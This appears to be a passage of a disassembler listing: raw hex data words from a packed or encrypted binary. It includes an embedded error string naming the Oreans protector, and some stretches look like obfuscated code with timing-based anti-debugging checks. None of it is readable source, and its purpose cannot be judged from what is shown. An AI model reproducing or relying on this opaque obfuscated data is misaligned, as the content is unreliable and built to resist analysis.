0CBF75FBh, 115DEBAEh, 0B164F0B3h, 0F16CFCC2h dd 1223DA2Eh, 1403C64Ch, 0A520D67Dh, 143F2ED6h, 0E32F7FFAh dd 9E60BEFFh, 0E3674D10h, 0B4AD2E9Ah, 42DEA0FEh, 5CA8F896h dd 0FBAE3CFEh, 0C83F22Ch, 870DD3F6h, 0F6724C3Bh, 0CB711D7Bh dd 6CF2BA18h, 631969B9h, 583F19E8h, 1868FC16h, 7B763F9Dh dd 0FDD0DF7Dh, 5BE9AF10h, 0B80858A8h, 0FB76F16Ch, 6C8092Ch dd 370656F0h, 0F006C804h, 0AD4FFB59h, 0BEC3A75Dh, 392881FBh dd 0EA3AED73h, 81F88727h, 0D9692BCBh, 98A99443h, 2E000001h dd 5250436Bh, 22F16C66h, 0F68C3413h, 0F6ACFC4Ch, 0CB724A12h dd 0C6739FCh, 51DFA2F6h, 24744E9Eh, 24741AC6h, 41EFBE40h dd 86F60C67h, 60BE5236h, 0B339019Dh, 0AA60B000h, 0BB964B2Fh dd 6ECD9C17h, 0EFF60C67h, 4A05E99Fh, 0B97CF76Fh, 620B78B8h dd 0EF2A806h, 8E4AC2A6h, 18D85D87h, 54A4BE66h, 9D60BE70h dd 560C5C0Fh, 0E799BDA1h, 2796C322h, 61h, 9AA9E9ACh, 0D104DDCh dd 0A55BE9AFh, 0F76F4AC1h, 0E543BE13h, 9A996839h, 0C3F60C67h dd 20702373h, 67959B6Ah, 72C2F60Ch, 8EAD7CF7h, 0CFF60C67h dd 0BEE5C97Fh, 9339E543h, 12DBF9DDh, 561CB47Ch, 7DCD1DD0h dd 0AF2A7ACAh, 0F5200ECh, 0B631BB97h, 0C9E54E7h, 3B909F6h dd 0E3AC901Fh, 43h, 0F76F4AFFh, 0E543BE13h, 11E09622h dd 0F60C672Fh, 0BE7458A8h, 9760BEDAh, 5BAB39FFh, 0CB7E47A5h dd 0C6739FCh, 86D626F6h, 5FE5AD0Bh, 43BEC5A9h, 0C67C174h dd 984E9EF6h, 3CB174EFh, 0F9374F1Dh, 99371BD1h, 96C322E7h dd 3427h, 8E4A4300h, 0EFBE16FAh, 0F60C6741h, 884BC616h dd 0CC4F6608h, 0D4B86E82h, 19DBDABEh, 60BEA78Bh, 0AE570D97h dd 7443BECAh, 0F60C67C1h, 42984E9Eh, 33h, 0FA8E4A5Eh, 41EFBE16h dd 86F60C67h, 43BE5236h, 0F024A780h, 0B8872803h, 0F60C0785h dd 59D48ADAh, 8B19DB75h, 65EBB210h, 0ADE5EAA2h, 6C229FE4h dd 0E3AC9088h, 0FFFFFE5Bh, 1F1EED68h, 40F60C67h, 4A563AF0h dd 9220E674h, 36BA81DFh, 93E33383h, 0AAAA5518h, 0A7264FEDh dd 4E9E51FBh, 0FECD48FEh, 0FC1626CEh, 8309D12Fh, 6E3DB833h dd 0F006B9CFh, 0F8A4090h, 0E762EEB1h, 8339C789h, 0E98F4837h dd 9BEB9E22h, 0F755D04Bh, 96F4A735h, 41F747CDh, 6B9C372h dd 0D59DFBF0h, 6FBF994Fh, 0B948EDBCh, 0FFA2F006h, 8965827h dd 1ED699CEh, 0F2000000h, 0C67C76Ah, 0BB490CF6h, 0C6196Fh dd 409E0000h, 0EA3AED77h, 0B23AE327h, 39EFBB1Bh, 0E6744A55h dd 0CC47971Dh, 1378CFFDh, 65E030FCh, 592227EAh, 0D0783A75h dd 70F6BC1Ah, 7200C624h, 4BD199F7h, 0CBF3E295h, 8632CC8Fh dd 95E535E8h, 0C74292E2h, 113CBCF8h, 46C111FAh, 489422E8h dd 239E24EAh, 0B477FDC5h, 6F233E74h, 8BB713Eh, 48C3A519h dd 1BD0AC79h, 531674FCh, 0CC212C5h, 967E232h, 0C43FBA46h dd 5FBB7A49h, 54A4F00Bh, 0B5FB685h, 0A157A7F0h, 0A834F755h dd 0D0B9D349h, 7ED487AEh, 0B03h, 9BE78532h, 0A1ED7B3Dh dd 0A6F27A43h, 0A6F29C48h, 0A7F38148h, 945B9CBDh, 9E66C410h dd 0A86ECC18h, 0AD70CE1Ah, 0E560D31Fh, 6072716h, 755938F0h dd 0D98C18DBh, 792CB87Bh, 1DD0541Bh, 0BD70FCBFh, 1FE58FBh dd 37829C3Fh, 0FC9CE874h, 93C32B3Ah, 5F7Ah, 0DAA1FF00h dd 4ABCA056h, 3BFAC974h, 24F60C67h, 28AE76D4h, 5AD52575h dd 1399DD8Bh, 97C689FCh, 633EE0D4h, 10965EBCh, 7D30805Ah dd 84D05C1Fh, 22D56326h, 0FF9D49A7h, 5746FC4Ch, 0A331F367h dd 0B17AD853h, 2BFA752Bh, 0FA1479F9h, 6C25E846h, 0C769E9Dh dd 1F6FBFF6h, 0BC620E6Ch, 0ECD01C6Ch, 3F8B19DBh, 0C683470h dd 0C14F15F6h, 30388675h, 959457B5h, 0F59B40F8h, 0F8ABFB20h dd 0A877F2A8h, 0FC162C85h, 0B42FAAFAh, 0B3CB6A39h, 4494F006h dd 0DD67308Eh, 0D799AD91h, 17944322h, 147h, 9A60BE33h dd 5309590Ch, 2C105864h, 288043BEh, 0FD476F52h, 0F43C0BC1h dd 0D1F60C5Ch, 0DABE9D81h, 0AB460BEh, 0FDA90757h, 2B06A95Fh dd 0CC6F4A1Eh, 0C673EFDh, 7FCF1FF6h, 0CD2BA69Bh, 78C87B21h dd 8E4ADEC2h, 0A08416FAh, 0D58EFBBEh, 51048BE1h, 5F49FB9Bh dd 308996C3h, 0A5000000h, 13F76F4Ah, 6741EFBEh, 0C616F60Ch dd 0BEDABEE2h, 540AB460h, 0D7992DF6h, 75389649h, 634797E7h dd 0F5B71590h, 0AE64B467h, 16E3CAh, 4AFF0000h, 0BE13F76Fh dd 0C6741EFh, 523686F6h, 12DBDABEh, 0AC90A68Ah, 0C322E799h dd 5A2796h, 4A430000h, 0AE71CF8Eh, 501F6F22h, 0F60C67EDh dd 57D22272h, 0FAAD33F9h, 5F0F3837h, 499942DFh, 0FBBEAF93h dd 0AD653112h, 0D261305Dh, 8BF60C25h, 0BA35EB3Bh, 0C2545EBh dd 0DEC212F6h, 561FFBBEh, 0BCFE3E6Eh, 0DBA78B06h, 90A78B19h dd 50FD5215h, 42D464Eh, 37E36A4Eh, 0FF000000h, 0F9D60BEh dd 1A6E6A59h, 0E655249Fh, 77F60C67h, 0BE8D7127h, 67C17443h dd 4E9EF60Ch, 0E24E1D98h, 0E3F60C67h, 679A9968h, 73C3F60Ch dd 0DABE3F23h, 0A78B19DBh, 0B7E3AC90h, 68FFFFFEh, 9BC420Ah dd 4A1F03B9h, 0AA79F474h, 0FC16B47Ah, 9AF873C3h, 53CE49D7h dd 62BB184h, 0DE642AF0h, 0B101DB2Bh, 0FB7008EEh, 0A3598197h dd 176F6857h, 0D86ECD9Ch, 9FEFF006h, 0D8181DECh, 2FD2F006h dd 0E9C68817h, 190699CDh, 22000000h, 0C67C76Ah, 0BB490CF6h dd 6431F46Fh, 11FF2711h, 0E8DD33E9h, 0F9000000h, 0F9D60BEh dd 67560C5Ch, 0C7961157h, 0FC1368CDh, 63FBC422h, 12C515B7h dd 99F772C2h, 0A3014DD3h, 19DC57DDh, 1AD234BFh, 8952B0C3h dd 0AB9A4D03h, 7CDA5513h, 0F87329B3h, 1149F729h, 55249FFAh dd 0F601D6E6h, 97712777h, 4665591Ch, 3CACCE78h, 184CE6Dh dd 0EF3F8FF6h, 0C74D1674h, 930EC414h, 95E16F35h, 6DD09F1Ah dd 0F2F60184h, 3E38DFA2h, 22A6683Fh, 0BA480E6Ch, 97A61807h dd 17675C8h, 4A9AEAF6h, 0BD2B00CFh, 4090FC1Bh, 0AA467C5h dd 0BD0DC05Eh, 0FC77F26Dh, 0B320E2Dh, 30FF4FF0h, 0F00B320Dh dd 4C0252h, 0F251DFA2h, 0AED09C34h, 0B4D127DAh, 81000007h dd 8EEC38D4h, 94F23ECCh, 97F541CBh, 97F541EBh, 0EF844D0h dd 5FE5ACEDh, 67EDB513h, 69F7BD1Bh, 70FCBF1Dh, 6736B124h dd 0F00604D4h, 0DBC6AA89h, 41036118h, 6751E4B3h, 0BE0EF60Ch dd 0BF0F9D60h, 4DCE910Ch, 0FBEB76A5h, 7FB9DC9Fh, 81F4C5C6h dd 1EAA6DCBh, 0BD4B0D6Bh, 5BE9AC0Ah, 0D97114A8h, 8BB490Ch dd 2BA668B8h, 0C77A06CDh, 1F92B477h, 97315105h, 0D9E43EE1h dd 0B10F8A16h, 84BF0E9h, 25AC653Ch, 1CD222D5h, 0BA6E30D0h dd 61AE93C3h, 0CA000000h, 0C9A60BEh, 0A45AE8AEh, 8E5109B5h dd 0AFFF4F02h, 60F6B934h, 0E63AB390h, 0FF3201D0h, 0DB2BF60Ch dd 782EBA7Dh, 0E90A2EFDh, 985BFC13h, 0F8E88EAFh, 0A7227254h dd 49FF9D49h, 2478C796h, 0DB7EF00Bh, 38FB5943h, 0F3A9F9ACh dd 0CA719153h, 5ED999h, 59DCAB39h, 6F00B28h, 497D00B6h dd 99000000h, 79F4744Ah, 1398EAAAh, 30E333FCh dd 0B0730FD2h, 0A6217124h, 0B5764D7h, 59A9F9F0h, 60ECAF0Dh dd 11D432ADh, 0E0DECD83h, 34920D88h, 0DE2EE16Bh, 58635928h dd 7CCCFA14h, 0BDE63E01h, 9245D396h, 7E687F42h, 0BCA0ECA2h dd 0EAD4EC80h, 671AC470h, 7D4CC717h, 0FC137D5Fh, 0ECBB70C0h dd 0B085A72Eh, 8D08605Eh, 62CEAABEh, 18CB1B3Ah, 58D39529h dd 65D6D389h, 71EC3C3Ch, 78C45013h, 6AC9571Ah, 0EE66A3C6h dd 3453A95Ch, 1000006h, 0E6CB854h, 1472BE4Ch, 1775C14Bh dd 1775C16Bh, 8E78C450h, 0DF652C6Dh, 0E76D3593h, 0E9773D9Bh dd 0F07C3F9Dh, 0E7B631A4h, 0F0060254h, 0DB462A09h, 0A3926118h dd 0BCF60C67h, 0B513E2F9h, 9DED6417h, 0C11F9A4Dh, 5BD90415h dd 0F1FDD596h, 0C48DEBA1h, 0B905F440h, 5BB934AFh, 47460993h dd 0B0F8908Ch, 538D5C12h, 0A4FC165Bh, 7A43A154h, 4EA793F2h dd 0AC5FAECDh, 5BA56h, 2ECE7B00h, 34C284E2h, 3BC18AE8h dd 47E591EFh, 4AD69DFBh, 0BAF314FEh, 0C3216DF3h, 0C72571FBh dd 0C9277301h, 0BB2E7A06h, 2C27140h, 0BC9BF006h, 0F4744AD8h dd 0B472AA79h, 8BDBFC16h, 39FF5DD8h, 0CE97F5ABh, 0A55DE746h dd 9649AECDh, 56A40h, 7E1ECB00h, 8412D432h, 8B11DA38h dd 9735E13Fh, 9A26ED4Bh, 0A43644Eh, 1371BD43h, 1775C14Bh dd 1977C351h, 0B7ECA56h, 272C190h, 0CEBF006h, 0F4744A28h dd 0CC581B79h, 671AA86Eh, 17E66117h, 0FC16B321h, 0D533E636h dd 2529880Ch, 0F9AECDA5h, 515F046h, 73200000h, 5D1F7DC9h dd 5C2583CFh, 822E8CD8h, 6B3290DCh, 8EAF99E5h, 0AEFA864Dh dd 0B2FE8850h, 0BC088E54h, 0C10D9B5Eh, 3104D34Eh, 2EF00601h dd 18DB6B4Fh, 0E35ED98Ch, 0C672114h, 90EE3EF6h, 3D8D40CEh dd 0DA662987h, 0D634AF27h, 632A880Eh, 0AA8427DDh, 55D05C1Fh dd 0BA520292h, 67B76AF8h, 5CC05A4h, 0E2A5034Fh, 6528A356h dd 0DAF69DFBh, 0E1ECBDEFh, 5A96B037h, 0BB85540Ah, 0D6F60CCFh dd 0BCE1B33h, 0CFB08352h, 6629F60Ch, 0FDD727DAh, 22115DADh dd 8251CC9Ch, 0FC161BBEh, 7EDC57A7h, 0FC772DBBh, 1074BE81h dd 272461BFh, 0C4501371h, 0C9571A78h, 5E972716h, 3F8A8E79h dd 5C258324h, 3E0D88D8h, 0FA1CA3CFh, 765E030h, 0E6CB844h dd 1B0ABD4Bh, 67F5B7A3h, 0C3CD9C17h, 54FC13CCh, 7DB3A504h dd 0A457AED0h, 42A4Eh, 0BE5E0B00h, 0C4521472h, 0CB511A78h dd 0D775217Fh, 0DA662D8Bh, 4A83A48Eh, 53B1FD83h, 57B5018Bh dd 59B70391h, 4BBE0A96h, 3201D0h, 4C2BF006h, 8C18DB68h dd 895A4E11h, 0E42626ADh, 5A1D7B2Eh, 49F553CEh, 0B2A1EDA3h dd 83E15C0Ch, 68137BDh, 133EF937h, 4BFE4EFCh, 0B31B57Ch dd 0BC581EF0h, 6BBB6E10h, 0CA5681Bh, 0C120874Bh, 1FA56CCAh dd 52EC8F6Ch, 98989B6Ah, 75C5F00Bh, 0E139DC25h, 0CB29D092h dd 4F1099h, 4A2C0000h, 3BFAC974h, 24F60C67h, 0AB0984D4h dd 59A95CE8h, 7B5928A3h, 0A4FC1375h, 7F05CB29h, 8EAD7CCCh dd 0CFF00B6Ah, 0F1B42F7Fh, 5AB2AD5Fh, 58F6A28Eh, 249F5208h dd 0C37604C6h, 43EEBD73h, 0A5F00B4Dh, 995B2802h, 0D999CA58h dd 0BCh, 8C18DBF5h, 67EDB311h, 2583FEB1h, 0D525D85Ch, 76FAC11Fh dd 82B180FBh, 0DBF60C67h, 0C422D58Bh, 62C07301h, 0F6C5119Fh dd 0F60C6C84h, 3E8A16D9h, 129E65C3h, 0FB590F5Fh, 6E31AC38h dd 76603337h, 8B3EF42Ch, 0CB46229Ch, 0A12FF250h, 78409EEEh dd 0AF6938EEh, 0F8FC13E0h, 516D5CA8h, 91CD9C17h, 0FAFA115Bh dd 9C4FD59Ch, 9927EE4Ch, 0CB4696E6h, 0CE1AA66Dh, 0BC1BA970h dd 0B4C90EA6h, 0D0378D40h, 65000002h, 6AC814B8h, 70CE1AA8h dd 73D11DA7h, 7BD925C7h, 0FAE430B4h, 4BD9A0D9h, 53D9A1FFh dd 5DE3A907h, 64F0B311h, 5B2AA518h, 0F0060FD8h, 0DBC2A685h dd 0E6449014h, 65499523h, 79F4744Ah, 13752AAAh, 0A82373FCh dd 6ADF5E2Dh, 3080F00Bh, 0EE4CC77Ah, 9AEA9D2Bh, 6A2A15E4h dd 29CCF00Bh, 3BC08211h, 0C10099CAh, 1C000000h, 7B18FBBEh dd 0E0AC2A67h, 7F32C082h, 581B792Fh, 148E51CCh, 2D7A3FC4h dd 79D78A40h, 0CF5D20B2h, 6AF8BE1Ch, 0C71767B7h, 0E4354514h dd 672AF60Ch, 6C2F8DD9h, 803E2DE0h, 0FA9E6DE8h, 2BFC1307h dd 16E560DBh, 0F00BC827h, 8B11DA38h, 4A39853Bh, 0FE79F474h dd 0D3E5843Bh, 46FC9046h, 11219877h, 229DEDFAh, 2B77FDC4h dd 1B7A06CDh, 0B4C96851h, 0F0DC32E5h, 45000001h, 4AA8F498h dd 50AEFA88h, 53B1FD87h, 5BB905A7h, 0DAC41094h, 2BB980B9h dd 33B981DFh, 3DC389E7h, 44D093F1h, 3B0A85F8h, 0F0060EF8h dd 0BEA28665h, 0BB1F6CFBh, 1DD3060Dh, 206CF8BFh, 2571FFC2h dd 864CAAh, 6347FD4Dh, 0E9860BEh, 0FA21CB4Bh, 25DB8317h dd 0C57804C7h, 9C2AEC4Ah, 37C588E6h, 98C2FCEBh, 0F9C843D1h dd 0F60C663Ah, 883D323h, 0DE662F8Dh, 5625DB2Bh, 0FC1370E2h dd 0F5702373h, 6C88AB7Ah, 85D5F00Bh, 6C3100CFh, 14B7F00Bh dd 35AB6D3Ah, 37EB99CAh, 70000000h, 741726F5h, 0F848F00Bh dd 60BE5E42h, 0AE50FCB4h, 5B9A85Eh, 319E863h, 6CFC1371h dd 979A691Ch, 51F00B6Eh, 0CE2C94AEh, 2ACA8006h, 99CA3868h dd 18A8h, 0C66AC400h, 7AF60C67h, 2EA92444h, 0C87E08D0h dd 138493F9h, 60ACFCFCh, 0E543BE7Ch, 73C2911Fh, 0ECF60C67h dd 0C7F7E69Ch, 0B95726A1h, 0EFC139Ah, 0EC60D093h, 5BD1ADA7h dd 0BEBA98Ch, 8F58B6F0h, 0B2025205h, 9D6CE762h, 0F00BEB9Eh dd 6B96FBFh, 0BEB0837h, 0F34BEEF0h, 0CAB6E2A4h, 34672A99h dd 0BB5443F7h, 28DD6016h, 0F9000000h, 0C67C76Ah, 25437BF6h dd 3EBFE7AAh, 0E41D14B6h, 93E39638h, 9E218043h, 2990BD66h dd 0A329F873h, 0CFC132Bh, 4A8C70BCh, 0AA79F474h, 0FC16B4EEh dd 0E3713896h, 8803532Dh, 2ADD632Ah, 137124DAh, 62F0B650h dd 4D1C9712h, 0F0062BEEh, 1D691F6Fh, 0CC7D44A2h, 62B3EFDh dd 7FCF1FF0h, 68C67CCCh, 956417A5h, 5A65B1B5h, 6875CD70h dd 219C17A5h, 0A372FAC3h, 9665BE90h, 7BC77DCDh, 1BCE5A1Dh dd 0B86B11BDh, 5F2EA924h, 9665BEDCh, 0D87B3181h, 0B1B0737Eh dd 9DD0AABDh, 38FF5D7Dh, 0B2105CACh, 58AE61EFh, 0Bh, 20B67FDDh dd 0C57BCB59h, 0DB694DE1h, 7DDB8E2Eh, 1D7B2EBAh, 0B816C957h dd 55B366F0h, 0F14F028Eh, 95F3A62Ah, 329043E9h, 0D230E369h dd 7ECF8210h, 4EC81h, 34890000h, 81E68924h, 4C6h, 4EE8300h dd 5C243487h, 5EBC68h, 241C8900h, 4D0068h, 24148900h, 381FBA52h dd 0A3BB30A8h, 2936B285h, 24148BD3h, 5404C483h, 8124148Bh dd 4C4h, 0DF895700h, 8B087A89h, 0C483243Ch, 24148B04h dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 5B2434FFh, 4C481h dd 92E90000h, 0D1FFFD10h, 0B8CEE74Dh, 60A6B7Fh, 0E0FFC503h dd 9A70EC1h, 0C5FB26Eh, 6073B477h, 58C53C02h, 581B00FFh dd 50F94492h, 5E36309Fh, 6BBF6FD9h, 19F28FABh, 79D5D983h dd 444B37D5h, 17D7AD35h, 5B2C51E9h, 464EDB8Fh, 56FEAA2Ch dd 0FE8h, 0DD598B00h, 5358A516h, 0DFC278C2h, 0FCC8E56Eh dd 2870Fh, 0C38B0000h, 98C0F5Ah, 0F000000h, 389h, 4AC08000h dd 63A5C281h, 820F0000h, 0 dd 68h, 10E95600h, 2A000000h, 0FA71B77Bh, 0F2BAB8D9h, 117BBC67h dd 5E39E5D9h, 0FA8B665Bh, 531A0C8Bh, 58F1815Fh, 0F601360h dd 0F181FABFh, 6AE94203h, 1860Fh, 81F80000h, 0A3A1C3C1h dd 1A0C893Bh, 80C6B70Fh, 0EB81A0E0h, 5A8DD355h, 0C0D78166h dd 51C3818Dh, 0E95A8DD3h, 9, 13020389h, 0F0C5EAD7h, 0FB817Ch dd 0FFFFF9Dh, 0FFFFAB85h, 0E9F8FFh, 4, 33000000h, 69206E41h dd 7265746Eh, 206C616Eh, 65637865h, 6F697470h, 636F206Eh dd 65727563h, 41282064h, 65726464h, 203A7373h, 78257830h dd 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh, 73207463h dd 6F707075h, 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh dd 6B6E6168h, 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 11A7h, 0A5858BFCh, 6A060730h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 4E65C356h, 9853EE07h, 9E9FFD8h, 0E9000000h, 0D37024A8h dd 4ACF684Bh, 4244439h, 53850Fh, 8B600000h, 2D280F2h, 9BD8361h dd 6070Ah, 3F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 268658C3h, 8DF8E7D2h dd 7388D85h, 1810F06h, 0F9000000h, 0AE9E0FFh, 0E8000000h dd 6AA14268h, 0E3B94210h, 99858BC5h, 89060731h, 73339B5h dd 24443906h, 83850F04h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 6E94C357h dd 0F40AC68Ch, 12E9383Ah, 2A000000h, 11B67F1Dh, 27E7DC0Eh dd 1F7FFC32h, 0D5EFE5DFh, 0EA85C779h, 1060A70h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 3006C356h, 158D0FFAh, 60000000h, 2655BD31h dd 8E90607h, 0F000000h, 1047A1E9h, 61369AF9h, 0F91BD29h dd 29600607h, 704599Dh, 20E906h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0D8C3h, 1B80000h dd 87000000h, 0A724985h, 75C00B06h, 25B5FFF6h, 8F060715h dd 0A70E285h, 6A206A06h, 3195FFFFh, 8306070Ch, 70BB5BDh dd 8740006h, 95FF006Ah, 6071B69h, 0E25BD83h, 74010607h dd 80680Dh, 0FF6A0000h, 0C3195FFh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3276EC3h dd 0B44A7E80h, 0E9969443h, 12h, 20A8750Bh, 17768216h, 0F2F2E701h dd 7888522Fh, 6A85E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0B3F489C3h, 7123FAC3h, 399589EEh dd 2B06071Eh, 548BF5C0h, 6A2824h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 15E54DC3h, 0F579E34Dh dd 3185BD09h, 85890607h, 6070E39h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 15C35141h, 3A5B8BACh, 7DC95E45h dd 1870Fh, 0FFC0000h, 1488h, 0FE900h, 5E0000h, 0D30D9430h dd 10296676h, 0CDB944CBh, 3CBEF0h, 5E90000h, 80000000h dd 8F5D0B95h, 24247403h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0BCC35343h, 5DA888A2h, 8266115Eh, 32119D89h dd 66FC0607h, 53006AADh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 671CE8E9h, 0FC2D89B6h, 24244403h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 35C35040h dd 0CA5FDCE6h, 8E9h, 1E4C7F00h, 82EFBCDBh, 0BE99095h, 0FC000000h dd 1F4AEBB3h, 0D3D4FD30h, 5050626Fh, 8E952h, 0DFF80000h dd 79A00FC4h, 310FC359h, 6830Fh, 840F0000h, 0 aZxrj db 'ZXj',0 db 57h, 0E8h, 3 dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0F631C357h, 0EE9D38Ah, 94000000h, 6B8E68D4h, 0CDCCF251h dd 221E95E5h, 78408B93h, 1C820Fh, 820F0000h, 16h, 11E9h dd 0CA5CB500h, 0DBE3E7E8h, 0C66D62C3h, 0D09E75C9h, 0BD836E20h dd 60A70EAh, 11850F00h, 0FC000001h, 8890F90h, 0F000000h dd 283h, 50616000h, 13830Fh, 0EE90000h, 1D000000h, 0C5DB0D0Ch dd 9D8E2C7h, 4F53F3FDh, 6A9051h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 9BA886C3h, 448BDD4Eh dd 85092C24h, 6071401h, 0E9525050h, 0Ch, 0BDC5A962h, 0B1E3853Eh dd 602B8637h, 8A60310Fh, 0F5250DCh, 61585A31h, 489585Ah dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0F002936h, 108Fh, 0BE900h, 46060000h, 3CB83BADh dd 7DA6EDEBh, 6850F68h, 1000000h, 7189DBDh, 76858D06h dd 6A060A45h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 2822C353h, 6AD0FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 211671C3h dd 0B70A9B24h, 0E931CEE6h, 8, 6CF84A6Ah, 0A464B4F5h, 28244403h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 56C35141h dd 52CCC97Fh, 23F59D89h, 12E90607h, 0EA000000h, 0F1680D93h dd 5F0ED217h, 4F4CFE4Ch, 382F9850h, 18408B4Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3C35343h, 0F3106163h dd 12E9F414h, 6E000000h, 5301CB7Bh, 47C031F5h, 0FC93AB49h dd 0CD776FCEh, 6A406Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 9589ECC3h, 6072D91h, 70E68589h dd 9D89060Ah, 60731A9h, 128D0Fh, 0DE90000h, 0DC000000h dd 52B1C439h, 5061236Ah, 9A3A6EDAh, 19BD8958h, 8B060714h dd 6A7870h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F5DD87C3h, 1CC683F9h, 7E9h, 1C2EAC00h, 9A23B5CDh dd 7E860h, 82070000h, 1D8745BDh, 2ABA66FAh, 0B50959D0h dd 6072C79h, 5E99661h, 0F0000000h, 9D7EDD71h, 24247C81h dd 10000000h, 78870Fh, 66600000h, 987EF281h, 5C5705BBh dd 60906172h, 12E8h, 71782700h, 0F084EBD5h, 0C66232A5h dd 0E4DC4570h, 50166E3Eh, 5A310F52h, 30BA5F58h, 616D064Eh dd 0A8F0F50h, 60000000h, 310F5250h, 2AB7585Ah, 8D299061h dd 6070249h, 2824448Bh, 2F599D89h, 0E9500607h, 6, 47D629C4h dd 4890D0Fh, 65950924h, 8D060731h, 0A457685h, 0D0FFFC06h dd 17F98589h, 0F8960607h, 24247403h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 2C35242h, 0BF0FA95Ch, 0BD897321h dd 6072DCDh, 0A8E0Fh, 66600000h, 0E6B1E181h, 61FDD080h dd 2D69BD8Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 8C175BC3h, 0C72C8AD9h, 8A0FFBE3h dd 6, 13BD9509h, 89AD0607h, 71E818Dh, 85016006h, 6072EE5h dd 58E0Fh, 81660000h, 61A135C3h, 24247C81h, 10000000h dd 117870Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0EC5DD6C3h, 0C1A416FAh, 0FE9FC28h dd 25000000h, 0B26FA382h, 927595E2h, 0A1D45BCDh, 505059C4h dd 0CE952h, 0D7EF0000h, 0A87CEEE6h, 626D8621h, 310F5DE7h dd 0F616060h, 8Eh, 585A6100h, 89240489h, 70451BDh, 0A8C0F06h dd 0E9000000h, 5, 55B2A897h, 24448B1Dh, 52006A28h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0F50F9B8h, 88Fh, 2850F00h, 60000000h, 24048961h, 0A99D8B60h dd 0FC060711h, 76858D61h, 6A060A45h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 9ECEC355h dd 0BF75A0BBh, 0BD895060h, 607150Dh, 0BB8665Ah, 0D0FF6180h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F7C35545h dd 0D50A814Eh, 0FF756F6h, 688h, 2D9D8900h, 6006072Fh, 24440361h dd 0DB50124h, 0AB06072Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 77C35545h, 0DD400945h, 0EE977h, 0E0CD0000h dd 3467FA3Fh, 0CE9A0DFh, 8B849439h, 0FA81h, 820F0001h dd 767h, 6800Fh, 0BD090000h, 6071D99h, 12EDBD8Dh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0DEC2F1C3h, 0C71EA03Eh, 0E9D01DF5h, 7, 0C00ECD17h, 0ADF47C3Ah dd 645B509h, 7C810607h, 2424h, 870F1000h, 0B1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 77C35646h, 30718D89h dd 0BD310607h, 6072041h, 0E880F90h, 0E9000000h, 9, 6F5CC845h dd 0D00935F5h, 0BE95025h, 8000000h, 2AF7FF0Dh, 7AEFC43Fh dd 3190BCF8h, 72D599Dh, 24448B06h, 53006A28h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0E990F828h dd 10h, 733714A4h, 6051E9DFh, 460F580h, 5EFFDEA5h, 8E950h dd 0F89A0000h, 0D1BF7F5Ch, 0F990EA28h, 4576858Dh, 0FFF9060Ah dd 6860FD0h, 29000000h, 732ED95h, 24440306h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0DF994230h, 7D7271BFh, 9995095Ch, 5006072Eh, 5E9h, 5F4A2B00h dd 489F828h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 85898A9Eh, 6071C25h, 0A0B86660h dd 0F5B58B51h, 61060727h, 56006AABh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 21495DF5h dd 8ACDDBD5h, 810F21D8h, 0Ah, 5E9h, 983E8600h, 0B5895FDDh dd 6072C95h, 0B95BD8Dh, 0ADF90607h, 0B8DB531h, 7C810607h dd 2824h, 870F1000h, 0A7h, 0F318529h, 0F900607h, 1584h dd 10E900h, 485A0000h, 0BFBACFD8h, 89021162h, 0AE9646F1h dd 50508995h, 87BB6052h, 57268DA5h, 310F615Eh, 6850Fh dd 52500000h, 585A310Fh, 0F990585Ah, 2C24448Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DAC35646h, 0AEDF0297h dd 6099E87Ch, 